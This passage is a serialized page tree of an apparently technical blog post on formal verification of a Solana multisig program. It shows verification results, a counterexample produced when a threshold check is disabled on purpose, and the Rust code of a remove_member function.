children":36110},{"class":77,"line":303},[36111,36115,36119,36123,36127,36131],{"type":23,"tag":75,"props":36112,"children":36113},{"style":82},[36114],{"type":29,"value":32061},{"type":23,"tag":75,"props":36116,"children":36117},{"style":110},[36118],{"type":29,"value":32478},{"type":23,"tag":75,"props":36120,"children":36121},{"style":209},[36122],{"type":29,"value":1018},{"type":23,"tag":75,"props":36124,"children":36125},{"style":104},[36126],{"type":29,"value":28772},{"type":23,"tag":75,"props":36128,"children":36129},{"style":94},[36130],{"type":29,"value":32431},{"type":23,"tag":75,"props":36132,"children":36133},{"style":3621},[36134],{"type":29,"value":32495},{"type":23,"tag":75,"props":36136,"children":36137},{"class":77,"line":322},[36138,36142,36146,36150,36154,36158],{"type":23,"tag":75,"props":36139,"children":36140},{"style":82},[36141],{"type":29,"value":32061},{"type":23,"tag":75,"props":36143,"children":36144},{"style":110},[36145],{"type":29,"value":32507},{"type":23,"tag":75,"props":36147,"children":36148},{"style":209},[36149],{"type":29,"value":1018},{"type":23,"tag":75,"props":36151,"children":36152},{"style":104},[36153],{"type":29,"value":25870},{"type":23,"tag":75,"props":36155,"children":36156},{"style":94},[36157],{"type":29,"value":32520},{"type":23,"tag":75,"props":36159,"children":36160},{"style":3621},[36161],{"type":29,"value":32525},{"type":23,"tag":75,"props":36163,"children":36164},{"class":77,"line":340},[36165,36169,36173,36177,36181,36185],{"type":23,"tag":75,"props":36166,"children":36167},{"style":82},[36168],{"type":29,"value":32061},{"type":23,"tag":75,"props":36170,"children":36171},{"style":110},[36172],{"type":29,"value":32537},{"type":23,"tag":75,"props":36174,"children":36175},{"style":209},[36176],{"type":29,"value":1018},{"type":23,"tag":75,"props":36178,"children":36179},{"style":104},[36180],{"type":29,"value":32075},{"type":23,"tag":75,"props":36182,"children":36183},{"style":94},[36184],{"type":29,"value":32550},{"type":23,"tag":75,"props":36186,"children":36187},{"style":3621},[36188],{"type":29,"value":32555},{"type":23,"tag":75,"props":36190,"children":36191},{"class":77,"line":349},[36192,36196,36200,36204,36208,36212],{"type":23,"tag":75,"props":36193,"children":36194},{"style":82},[36195],{"type":29,"value":32061},{"type":23,"tag":75,"props":36197,"children":36198},{"style":110},[36199],{"type":29,"value":32567},{"type":23,"tag":75,"props":36201,"children":36202},{"style":209},[36203],{"type":29,"value":1018},{"type":23,"tag":75,"props":36205,"children":36206},{"style":104},[36207],{"type":29,"value":3001},{"type":23,"tag":75,"props":36209,"children":36210},{"style":94},[36211],{"type":29,"value":611},{"type":23,"tag":75,"props":36213,"children":36214},{"style":3621},[36215],{"type":29,"value":32584},{"type":23,"tag":75,"props":36217,"children":36218},{"class":77,"line":363},[36219,36223,36227,36231,36235,36239,36243,36247],{"type":23,"tag":75,"props":36220,"children":36221},{"style":82},[36222],{"type":29,"value":32061},{"type":23,"tag":75,"props":36224,"children":36225},{"style":110},[36226],{"type":29,"value":1934},{"type":23,"tag":75,"props":36228,"children":36229},{"style":209},[36230],{"type":29,"value":1018},{"type":23,"tag":75,"props":36232,"children":36233},{"style":104},[36234],{"type":29,"value":32604},{"type":23,"tag":75,"props":36236,"children":36237},{"style":94},[36238],{"type":29,"value":295},{"type":23,"tag":75,"props":36240,"children":36241},{"style":104},[36242],{"type":29,"value":32613},{"type":23,"tag":75,"props":36244,"children":36245},{"style":94},[36246],{"type":29,"value":32618},{"type":23,"tag":75,"props":36248,"children":36249},{"style":3621},[36250],{"type":29,"value":32623},{"type":23,"tag":75,"props":36252,"children":36253},{"class":77,"line":656},[36254],{"type":23,"tag":75,"props":36255,"children":36256},{"style":94},[36257],{"type":29,"value":369},{"type":23,"tag":32,"props":36259,"children":36260},{},[36261,36263,36268],{"type":29,"value":36262},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":23,"tag":71,"props":36264,"children":36266},{"className":36265},[],[36267],{"type":29,"value":33956},{"type":29,"value":36269}," object will be checked to ensure that the invariant still holds after modification.",{"type":23,"tag":32,"props":36271,"children":36272},{},[36273,36275,36280],{"type":29,"value":36274},"Let's try this on the ",{"type":23,"tag":71,"props":36276,"children":36278},{"className":36277},[],[36279],{"type":29,"value":34035},{"type":29,"value":36281}," instruction that we've already seen:",{"type":23,"tag":64,"props":36283,"children":36285},{"code":36284},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[36286],{"type":23,"tag":71,"props":36287,"children":36288},{"__ignoreMap":7},[36289],{"type":29,"value":36284},{"type":23,"tag":32,"props":36291,"children":36292},{},[36293,36295,36300],{"type":29,"value":36294},"To ensure this is working, we can test by commenting out this check from ",{"type":23,"tag":71,"props":36296,"children":36298},{"className":36297},[],[36299],{"type":29,"value":34035},{"type":29,"value":1018},{"type":23,"tag":64,"props":36302,"children":36304},{"code":36303,"language":986,"meta":7,"className":987,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[36305],{"type":23,"tag":71,"props":36306,"children":36307},{"__ignoreMap":7},[36308,36316,36324],{"type":23,"tag":75,"props":36309,"children":36310},{"class":77,"line":78},[36311],{"type":23,"tag":75,"props":36312,"children":36313},{"style":3621},[36314],{"type":29,"value":36315},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":23,"tag":75,"props":36317,"children":36318},{"class":77,"line":100},[36319],{"type":23,"tag":75,"props":36320,"children":36321},{"style":3621},[36322],{"type":29,"value":36323},"//     return err!(MsError::InvalidThreshold);\n",{"type":23,"tag":75,"props":36325,"children":36326},{"class":77,"line":121},[36327],{"type":23,"tag":75,"props":36328,"children":36329},{"style":3621},[36330],{"type":29,"value":36331},"// }\n",{"type":23,"tag":32,"props":36333,"children":36334},{},[36335],{"type":29,"value":36336},"And run again:",{"type":23,"tag":64,"props":36338,"children":36340},{"code":36339},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[36341],{"type":23,"tag":71,"props":36342,"children":36343},{"__ignoreMap":7},[36344],{"type":29,"value":36339},{"type":23,"tag":32,"props":36346,"children":36347},{},[36348],{"type":29,"value":36349},"We get the following counterexample:",{"type":23,"tag":64,"props":36351,"children":36353},{"code":36352,"language":986,"meta":7,"className":987,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[36354],{"type":23,"tag":71,"props":36355,"children":36356},{"__ignoreMap":7},[36357,36368,36388,36408,36428,36448,36468,36488,36507,36527,36547,36568,36576,36584,36614],{"type":23,"tag":75,"props":36358,"children":36359},{"class":77,"line":78},[36360,36364],{"type":23,"tag":75,"props":36361,"children":36362},{"style":104},[36363],{"type":29,"value":28369},{"type":23,"tag":75,"props":36365,"children":36366},{"style":94},[36367],{"type":29,"value":401},{"type":23,"tag":75,"props":36369,"children":36370},{"class":77,"line":100},[36371,36376,36380,36384],{"type":23,"tag":75,"props":36372,"children":36373},{"style":110},[36374],{"type":29,"value":36375},"    account",{"type":23,"tag":75,"props":36377,"children":36378},{"style":209},[36379],{"type":29,"value":1018},{"type":23,"tag":75,"props":36381,"children":36382},{"style":104},[36383],{"type":29,"value":32372},{"type":23,"tag":75,"props":36385,"children":36386},{"style":94},[36387],{"type":29,"value":401},{"type":23,"tag":75,"props":36389,"children":36390},{"class":77,"line":121},[36391,36395,36399,36404],{"type":23,"tag":75,"props":36392,"children":36393},{"style":110},[36394],{"type":29,"value":35037},{"type":23,"tag":75,"props":36396,"children":36397},{"style":209},[36398],{"type":29,"value":1018},{"type":23,"tag":75,"props":36400,"children":36401},{"style":237},[36402],{"type":29,"value":36403}," 32768",{"type":23,"tag":75,"props":36405,"children":36406},{"style":94},[36407],{"type":29,"value":118},{"type":23,"tag":75,"props":36409,"children":36410},{"class":77,"line":138},[36411,36416,36420,36424],{"type":23,"tag":75,"props":36412,"children":36413},{"style":110},[36414],{"type":29,"value":36415},"        authority_index",{"type":23,"tag":75,"props":36417,"children":36418},{"style":209},[36419],{"type":29,"value":1018},{"type":23,"tag":75,"props":36421,"children":36422},{"style":237},[36423],{"type":29,"value":15795},{"type":23,"tag":75,"props":36425,"children":36426},{"style":94},[36427],{"type":29,"value":118},{"type":23,"tag":75,"props":36429,"children":36430},{"class":77,"line":161},[36431,36436,36440,36444],{"type":23,"tag":75,"props":36432,"children":36433},{"style":110},[36434],{"type":29,"value":36435},"        transaction_index",{"type":23,"tag":75,"props":36437,"children":36438},{"style":209},[36439],{"type":29,"value":1018},{"type":23,"tag":75,"props":36441,"children":36442},{"style":237},[36443],{"type":29,"value":240},{"type":23,"tag":75,"props":36445,"children":36446},{"style":94},[36447],{"type":29,"value":118},{"type":23,"tag":75,"props":36449,"children":36450},{"class":77,"line":196},[36451,36456,36460,36464],{"type":23,"tag":75,"props":36452,"children":36453},{"style":110},[36454],{"type":29,"value":36455},"        ms_change_index",{"type":23,"tag":75,"props":36457,"children":36458},{"style":209},[36459],{"type":29,"value":1018},{"type":23,"tag":75,"props":36461,"children":36462},{"style":237},[36463],{"type":29,"value":240},{"type":23,"tag":75,"props":36465,"children":36466},{"style":94},[36467],{"type":29,"value":118},{"type":23,"tag":75,"props":36469,"children":36470},{"class":77,"line":220},[36471,36476,36480,36484],{"type":23,"tag":75,"props":36472,"children":36473},{"style":110},[36474],{"type":29,"value":36475},"        bump",{"type":23,"tag":75,"props":36477,"children":36478},{"style":209},[36479],{"type":29,"value":1018},{"type":23,"tag":75,"props":36481,"children":36482},{"style":237},[36483],{"type":29,"value":240},{"type":23,"tag":75,"props":36485,"children":36486},{"style":94},[36487],{"type":29,"value":118},{"type":23,"tag":75,"props":36489,"children":36490},{"class":77,"line":248},[36491,36495,36499,36503],{"type":23,"tag":75,"props":36492,"children":36493},{"style":110},[36494],{"type":29,"value":35049},{"type":23,"tag":75,"props":36496,"children":36497},{"style":209},[36498],{"type":29,"value":1018},{"type":23,"tag":75,"props":36500,"children":36501},{"style":209},[36502],{"type":29,"value":13864},{"type":23,"tag":75,"props":36504,"children":36505},{"style":94},[36506],{"type":29,"value":118},{"type":23,"tag":75,"props":36508,"children":36509},{"class":77,"line":270},[36510,36515,36519,36523],{"type":23,"tag":75,"props":36511,"children":36512},{"style":110},[36513],{"type":29,"value":36514},"        allow_external_execute",{"type":23,"tag":75,"props":36516,"children":36517},{"style":209},[36518],{"type":29,"value":1018},{"type":23,"tag":75,"props":36520,"children":36521},{"style":82},[36522],{"type":29,"value":20313},{"type":23,"tag":75,"props":36524,"children":36525},{"style":94},[36526],{"type":29,"value":118},{"type":23,"tag":75,"props":36528,"children":36529},{"class":77,"line":279},[36530,36534,36538,36543],{"type":23,"tag":75,"props":36531,"children":36532},{"style":110},[36533],{"type":29,"value":1977},{"type":23,"tag":75,"props":36535,"children":36536},{"style":209},[36537],{"type":29,"value":1018},{"type":23,"tag":75,"props":36539,"children":36540},{"style":104},[36541],{"type":29,"value":36542}," SparseVec",{"type":23,"tag":75,"props":36544,"children":36545},{"style":94},[36546],{"type":29,"value":401},{"type":23,"tag":75,"props":36548,"children":36549},{"class":77,"line":303},[36550,36555,36559,36564],{"type":23,"tag":75,"props":36551,"children":36552},{"style":110},[36553],{"type":29,"value":36554},"            size",{"type":23,"tag":75,"props":36556,"children":36557},{"style":209},[36558],{"type":29,"value":1018},{"type":23,"tag":75,"props":36560,"children":36561},{"style":237},[36562],{"type":29,"value":36563}," 5112",{"type":23,"tag":75,"props":36565,"children":36566},{"style":94},[36567],{"type":29,"value":118},{"type":23,"tag":75,"props":36569,"children":36570},{"class":77,"line":322},[36571],{"type":23,"tag":75,"props":36572,"children":36573},{"style":94},[36574],{"type":29,"value":36575},"        },\n",{"type":23,"tag":75,"props":36577,"children":36578},{"class":77,"line":340},[36579],{"type":23,"tag":75,"props":36580,"children":36581},{"style":94},[36582],{"type":29,"value":36583},"    },\n",{"type":23,"tag":75,"props":36585,"children":36586},{"class":77,"line":349},[36587,36592,36596,36601,36605,36609],{"type":23,"tag":75,"props":36588,"children":36589},{"style":110},[36590],{"type":29,"value":36591},"    info",{"type":23,"tag":75,"props":36593,"children":36594},{"style":209},[36595],{"type":29,"value":1018},{"type":23,"tag":75,"props":36597,"children":36598},{"style":104},[36599],{"type":29,"value":36600}," AccountInfo",{"type":23,"tag":75,"props":36602,"children":36603},{"style":94},[36604],{"type":29,"value":20837},{"type":23,"tag":75,"props":36606,"children":36607},{"style":209},[36608],{"type":29,"value":9174},{"type":23,"tag":75,"props":36610,"children":36611},{"style":94},[36612],{"type":29,"value":36613}," },\n",{"type":23,"tag":75,"props":36615,"children":36616},{"class":77,"line":363},[36617],{"type":23,"tag":75,"props":36618,"children":36619},{"style":94},[36620],{"type":29,"value":369},{"type":23,"tag":32,"props":36622,"children":36623},{},[36624,36626,36631,36633,36638],{"type":29,"value":36625},"Here we see that the ",{"type":23,"tag":71,"props":36627,"children":36629},{"className":36628},[],[36630],{"type":29,"value":33964},{"type":29,"value":36632}," of the newly created ",{"type":23,"tag":71,"props":36634,"children":36636},{"className":36635},[],[36637],{"type":29,"value":33956},{"type":29,"value":36639}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":23,"tag":923,"props":36641,"children":36643},{"id":36642},"verify-requirements-to-remove-a-member",[36644],{"type":29,"value":33994},{"type":23,"tag":32,"props":36646,"children":36647},{},[36648,36650,36655,36656,36661,36663,36669],{"type":29,"value":36649},"Now that we've seen both ",{"type":23,"tag":71,"props":36651,"children":36653},{"className":36652},[],[36654],{"type":29,"value":31377},{"type":29,"value":2721},{"type":23,"tag":71,"props":36657,"children":36659},{"className":36658},[],[36660],{"type":29,"value":32993},{"type":29,"value":36662}," let's take a look at the ",{"type":23,"tag":71,"props":36664,"children":36666},{"className":36665},[],[36667],{"type":29,"value":36668},"remove_member",{"type":29,"value":36670}," function:",{"type":23,"tag":64,"props":36672,"children":36674},{"code":36673,"language":986,"meta":7,"className":987,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[36675],{"type":23,"tag":71,"props":36676,"children":36677},{"__ignoreMap":7},[36678,36701,36729,36744,36789,36796,36808,36824,36836,36862,36870,36899,36906,36938,36945,36952,37026,37034,37093,37125,37132,37183,37190,37198,37291,37380,37433,37440,37485,37530],{"type":23,"tag":75,"props":36679,"children":36680},{"class":77,"line":78},[36681,36685,36689,36693,36697],{"type":23,"tag":75,"props":36682,"children":36683},{"style":94},[36684],{"type":29,"value":34052},{"type":23,"tag":75,"props":36686,"children":36687},{"style":104},[36688],{"type":29,"value":34057},{"type":23,"tag":75,"props":36690,"children":36691},{"style":94},[36692],{"type":29,"value":611},{"type":23,"tag":75,"props":36694,"children":36695},{"style":104},[36696],{"type":29,"value":9203},{"type":23,"tag":75,"props":36698,"children":36699},{"style":94},[36700],{"type":29,"value":31480},{"type":23,"tag":75,"props":36702,"children":36703},{"class":77,"line":100},[36704,36708,36712,36717,36721,36725],{"type":23,"tag":75,"props":36705,"children":36706},{"style":82},[36707],{"type":29,"value":24933},{"type":23,"tag":75,"props":36709,"children":36710},{"style":82},[36711],{"type":29,"value":396},{"type":23,"tag":75,"props":36713,"children":36714},{"style":104},[36715],{"type":29,"value":36716}," MsAuth",{"type":23,"tag":75,"props":36718,"children":36719},{"style":94},[36720],{"type":29,"value":34137},{"type":23,"tag":75,"props":36722,"children":36723},{"style":104},[36724],{"type":29,"value":34142},{"type":23,"tag":75,"props":36726,"children":36727},{"style":94},[36728],{"type":29,"value":1175},{"type":23,"tag":75,"props":36730,"children":36731},{"class":77,"line":121},[36732,36736,36740],{"type":23,"tag":75,"props":36733,"children":36734},{"style":94},[36735],{"type":29,"value":34344},{"type":23,"tag":75,"props":36737,"children":36738},{"style":82},[36739],{"type":29,"value":14998},{"type":23,"tag":75,"props":36741,"children":36742},{"style":94},[36743],{"type":29,"value":31480},{"type":23,"tag":75,"props":36745,"children":36746},{"class":77,"line":138},[36747,36752,36756,36761,36765,36769,36773,36777,36781,36785],{"type":23,"tag":75,"props":36748,"children":36749},{"style":110},[36750],{"type":29,"value":36751},"    multisig",{"type":23,"tag":75,"props":36753,"children":36754},{"style":209},[36755],{"type":29,"value":1018},{"type":23,"tag":75,"props":36757,"children":36758},{"style":104},[36759],{"type":29,"value":36760}," Box",{"type":23,"tag":75,"props":36762,"children":36763},{"style":94},[36764],{"type":29,"value":295},{"type":23,"tag":75,"props":36766,"children":36767},{"style":104},[36768],{"type":29,"value":28369},{"type":23,"tag":75,"props":36770,"children":36771},{"style":94},[36772],{"type":29,"value":34137},{"type":23,"tag":75,"props":36774,"children":36775},{"style":104},[36776],{"type":29,"value":34142},{"type":23,"tag":75,"props":36778,"children":36779},{"style":94},[36780],{"type":29,"value":611},{"type":23,"tag":75,"props":36782,"children":36783},{"style":104},[36784],{"type":29,"value":33956},{"type":23,"tag":75,"props":36786,"children":36787},{"style":94},[36788],{"type":29,"value":18215},{"type":23,"tag":75,"props":36790,"children":36791},{"class":77,"line":161},[36792],{"type":23,"tag":75,"props":36793,"children":36794},{"style":94},[36795],{"type":29,"value":34154},{"type":23,"tag":75,"props":36797,"children":36798},{"class":77,"line":196},[36799,36804],{"type":23,"tag":75,"props":36800,"children":36801},{"style":82},[36802],{"type":29,"value":36803},"        mut",{"type":23,"tag":75,"props":36805,"children":36806},{"style":94},[36807],{"type":29,"value":118},{"type":23,"tag":75,"props":36809,"children":36810},{"class":77,"line":220},[36811,36815,36819],{"type":23,"tag":75,"props":36812,"children":36813},{"style":94},[36814],{"type":29,"value":34238},{"type":23,"tag":75,"props":36816,"children":36817},{"style":209},[36818],{"type":29,"value":212},{"type":23,"tag":75,"props":36820,"children":36821},{"style":94},[36822],{"type":29,"value":36823}," [\n",{"type":23,"tag":75,"props":36825,"children":36826},{"class":77,"line":248},[36827,36832],{"type":23,"tag":75,"props":36828,"children":36829},{"style":1266},[36830],{"type":29,"value":36831},"            b\"squad\"",{"type":23,"tag":75,"props":36833,"children":36834},{"style":94},[36835],{"type":29,"value":118},{"type":23,"tag":75,"props":36837,"children":36838},{"class":77,"line":270},[36839,36844,36848,36853,36857],{"type":23,"tag":75,"props":36840,"children":36841},{"style":94},[36842],{"type":29,"value":36843},"            multisig",{"type":23,"tag":75,"props":36845,"children":36846},{"style":209},[36847],{"type":29,"value":557},{"type":23,"tag":75,"props":36849,"children":36850},{"style":94},[36851],{"type":29,"value":36852},"create_key",{"type":23,"tag":75,"props":36854,"children":36855},{"style":209},[36856],{"type":29,"value":557},{"type":23,"tag":75,"props":36858,"children":36859},{"style":94},[36860],{"type":29,"value":36861},"as_ref(),\n",{"type":23,"tag":75,"props":36863,"children":36864},{"class":77,"line":279},[36865],{"type":23,"tag":75,"props":36866,"children":36867},{"style":1266},[36868],{"type":29,"value":36869},"            b\"multisig\"\n",{"type":23,"tag":75,"props":36871,"children":36872},{"class":77,"line":303},[36873,36878,36883,36887,36891,36895],{"type":23,"tag":75,"props":36874,"children":36875},{"style":94},[36876],{"type":29,"value":36877},"        ], ",{"type":23,"tag":75,"props":36879,"children":36880},{"style":110},[36881],{"type":29,"value":36882},"bump",{"type":23,"tag":75,"props":36884,"children":36885},{"style":209},[36886],{"type":29,"value":1193},{"type":23,"tag":75,"props":36888,"children":36889},{"style":110},[36890],{"type":29,"value":34300},{"type":23,"tag":75,"props":36892,"children":36893},{"style":209},[36894],{"type":29,"value":557},{"type":23,"tag":75,"props":36896,"children":36897},{"style":94},[36898],{"type":29,"value":34280},{"type":23,"tag":75,"props":36900,"children":36901},{"class":77,"line":322},[36902],{"type":23,"tag":75,"props":36903,"children":36904},{"style":94},[36905],{"type":29,"value":34288},{"type":23,"tag":75,"props":36907,"children":36908},{"class":77,"line":340},[36909,36913,36918,36922,36926,36930,36934],{"type":23,"tag":75,"props":36910,"children":36911},{"style":82},[36912],{"type":29,"value":32061},{"type":23,"tag":75,"props":36914,"children":36915},{"style":110},[36916],{"type":29,"value":36917}," multisig_auth",{"type":23,"tag":75,"props":36919,"children":36920},{"style":209},[36921],{"type":29,"value":1018},{"type":23,"tag":75,"props":36923,"children":36924},{"style":104},[36925],{"type":29,"value":34373},{"type":23,"tag":75,"props":36927,"children":36928},{"style":94},[36929],{"type":29,"value":34137},{"type":23,"tag":75,"props":36931,"children":36932},{"style":104},[36933],{"type":29,"value":34142},{"type":23,"tag":75,"props":36935,"children":36936},{"style":94},[36937],{"type":29,"value":1114},{"type":23,"tag":75,"props":36939,"children":36940},{"class":77,"line":349},[36941],{"type":23,"tag":75,"props":36942,"children":36943},{"style":94},[36944],{"type":29,"value":369},{"type":23,"tag":75,"props":36946,"children":36947},{"class":77,"line":363},[36948],{"type":23,"tag":75,"props":36949,"children":36950},{"emptyLinePlaceholder":15},[36951],{"type":29,"value":276},{"type":23,"tag":75,"props":36953,"children":36954},{"class":77,"line":656},[36955,36959,36963,36968,36972,36976,36980,36984,36988,36993,36997,37002,37006,37010,37014,37018,37022],{"type":23,"tag":75,"props":36956,"children":36957},{"style":82},[36958],{"type":29,"value":24933},{"type":23,"tag":75,"props":36960,"children":36961},{"style":82},[36962],{"type":29,"value":24938},{"type":23,"tag":75,"props":36964,"children":36965},{"style":88},[36966],{"type":29,"value":36967}," remove_member",{"type":23,"tag":75,"props":36969,"children":36970},{"style":94},[36971],{"type":29,"value":643},{"type":23,"tag":75,"props":36973,"children":36974},{"style":110},[36975],{"type":29,"value":3331},{"type":23,"tag":75,"props":36977,"children":36978},{"style":209},[36979],{"type":29,"value":1018},{"type":23,"tag":75,"props":36981,"children":36982},{"style":104},[36983],{"type":29,"value":31509},{"type":23,"tag":75,"props":36985,"children":36986},{"style":94},[36987],{"type":29,"value":295},{"type":23,"tag":75,"props":36989,"children":36990},{"style":104},[36991],{"type":29,"value":36992},"MsAuth",{"type":23,"tag":75,"props":36994,"children":36995},{"style":94},[36996],{"type":29,"value":17895},{"type":23,"tag":75,"props":36998,"children":36999},{"style":110},[37000],{"type":29,"value":37001},"old_member",{"type":23,"tag":75,"props":37003,"children":37004},{"style":209},[37005],{"type":29,"value":1018},{"type":23,"tag":75,"props":37007,"children":37008},{"style":104},[37009],{"type":29,"value":32075},{"type":23,"tag":75,"props":37011,"children":37012},{"style":94},[37013],{"type":29,"value":167},{"type":23,"tag":75,"props":37015,"children":37016},{"style":209},[37017],{"type":29,"value":1156},{"type":23,"tag":75,"props":37019,"children":37020},{"style":104},[37021],{"type":29,"value":25004},{"type":23,"tag":75,"props":37023,"children":37024},{"style":94},[37025],{"type":29,"value":31551},{"type":23,"tag":75,"props":37027,"children":37028},{"class":77,"line":705},[37029],{"type":23,"tag":75,"props":37030,"children":37031},{"style":3621},[37032],{"type":29,"value":37033},"    // if there is only one key in this multisig, reject the removal\n",{"type":23,"tag":75,"props":37035,"children":37036},{"class":77,"line":787},[37037,37041,37045,37049,37053,37057,37061,37065,37069,37073,37077,37081,37085,37089],{"type":23,"tag":75,"props":37038,"children":37039},{"style":175},[37040],{"type":29,"value":1363},{"type":23,"tag":75,"props":37042,"children":37043},{"style":110},[37044],{"type":29,"value":3142},{"type":23,"tag":75,"props":37046,"children":37047},{"style":209},[37048],{"type":29,"value":557},{"type":23,"tag":75,"props":37050,"children":37051},{"style":94},[37052],{"type":29,"value":25911},{"type":23,"tag":75,"props":37054,"children":37055},{"style":209},[37056],{"type":29,"value":557},{"type":23,"tag":75,"props":37058,"children":37059},{"style":94},[37060],{"type":29,"value":35017},{"type":23,"tag":75,"props":37062,"children":37063},{"style":209},[37064],{"type":29,"value":557},{"type":23,"tag":75,"props":37066,"children":37067},{"style":94},[37068],{"type":29,"value":1995},{"type":23,"tag":75,"props":37070,"children":37071},{"style":209},[37072],{"type":29,"value":557},{"type":23,"tag":75,"props":37074,"children":37075},{"style":88},[37076],{"type":29,"value":679},{"type":23,"tag":75,"props":37078,"children":37079},{"style":94},[37080],{"type":29,"value":2464},{"type":23,"tag":75,"props":37082,"children":37083},{"style":209},[37084],{"type":29,"value":2469},{"type":23,"tag":75,"props":37086,"children":37087},{"style":237},[37088],{"type":29,"value":15795},{"type":23,"tag":75,"props":37090,"children":37091},{"style":94},[37092],{"type":29,"value":401},{"type":23,"tag":75,"props":37094,"children":37095},{"class":77,"line":826},[37096,37100,37104,37108,37112,37116,37121],{"type":23,"tag":75,"props":37097,"children":37098},{"style":175},[37099],{"type":29,"value":1388},{"type":23,"tag":75,"props":37101,"children":37102},{"style":88},[37103],{"type":29,"value":34733},{"type":23,"tag":75,"props":37105,"children":37106},{"style":94},[37107],{"type":29,"value":643},{"type":23,"tag":75,"props":37109,"children":37110},{"style":104},[37111],{"type":29,"value":34742},{"type":23,"tag":75,"props":37113,"children":37114},{"style":209},[37115],{"type":29,"value":1407},{"type":23,"tag":75,"props":37117,"children":37118},{"style":104},[37119],{"type":29,"value":37120},"CannotRemoveSoloMember",{"type":23,"tag":75,"props":37122,"children":37123},{"style":94},[37124],{"type":29,"value":15099},{"type":23,"tag":75,"props":37126,"children":37127},{"class":77,"line":834},[37128],{"type":23,"tag":75,"props":37129,"children":37130},{"style":94},[37131],{"type":29,"value":346},{"type":23,"tag":75,"props":37133,"children":37134},{"class":77,"line":881},[37135,37139,37143,37147,37151,37155,37159,37163,37167,37171,37175,37179],{"type":23,"tag":75,"props":37136,"children":37137},{"style":110},[37138],{"type":29,"value":2946},{"type":23,"tag":75,"props":37140,"children":37141},{"style":209},[37142],{"type":29,"value":557},{"type":23,"tag":75,"props":37144,"children":37145},{"style":94},[37146],{"type":29,"value":25911},{"type":23,"tag":75,"props":37148,"children":37149},{"style":209},[37150],{"type":29,"value":557},{"type":23,"tag":75,"props":37152,"children":37153},{"style":94},[37154],{"type":29,"value":35017},{"type":23,"tag":75,"props":37156,"children":37157},{"style":209},[37158],{"type":29,"value":557},{"type":23,"tag":75,"props":37160,"children":37161},{"style":88},[37162],{"type":29,"value":36668},{"type":23,"tag":75,"props":37164,"children":37165},{"style":94},[37166],{"type":29,"value":643},{"type":23,"tag":75,"props":37168,"children":37169},{"style":110},[37170],{"type":29,"value":37001},{"type":23,"tag":75,"props":37172,"children":37173},{"style":94},[37174],{"type":29,"value":1347},{"type":23,"tag":75,"props":37176,"children":37177},{"style":209},[37178],{"type":29,"value":1225},{"type":23,"tag":75,"props":37180,"children":37181},{"style":94},[37182],{"type":29,"value":245},{"type":23,"tag":75,"props":37184,"children":37185},{"class":77,"line":3355},[37186],{"type":23,"tag":75,"props":37187,"children":37188},{"emptyLinePlaceholder":15},[37189],{"type":29,"value":276},{"type":23,"tag":75,"props":37191,"children":37192},{"class":77,"line":3390},[37193],{"type":23,"tag":75,"props":37194,"children":37195},{"style":3621},[37196],{"type":29,"value":37197},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":23,"tag":75,"props":37199,"children":37200},{"class":77,"line":3423},[37201,37205,37209,37213,37217,37221,37225,37229,37233,37237,37241,37246,37250,37254,37258,37262,37266,37270,37274,37278,37282,37286],{"type":23,"tag":75,"props":37202,"children":37203},{"style":175},[37204],{"type":29,"value":1363},{"type":23,"tag":75,"props":37206,"children":37207},{"style":110},[37208],{"type":29,"value":3142},{"type":23,"tag":75,"props":37210,"children":37211},{"style":209},[37212],{"type":29,"value":557},{"type":23,"tag":75,"props":37214,"children":37215},{"style":94},[37216],{"type":29,"value":25911},{"type":23,"tag":75,"props":37218,"children":37219},{"style":209},[37220],{"type":29,"value":557},{"type":23,"tag":75,"props":37222,"children":37223},{"style":94},[37224],{"type":29,"value":35017},{"type":23,"tag":75,"props":37226,"children":37227},{"style":209},[37228],{"type":29,"value":557},{"type":23,"tag":75,"props":37230,"children":37231},{"style":94},[37232],{"type":29,"value":1995},{"type":23,"tag":75,"props":37234,"children":37235},{"style":209},[37236],{"type":29,"value":557},{"type":23,"tag":75,"props":37238,"children":37239},{"style":88},[37240],{"type":29,"value":679},{"type":23,"tag":75,"props":37242,"children":37243},{"style":94},[37244],{"type":29,"value":37245},"() \u003C 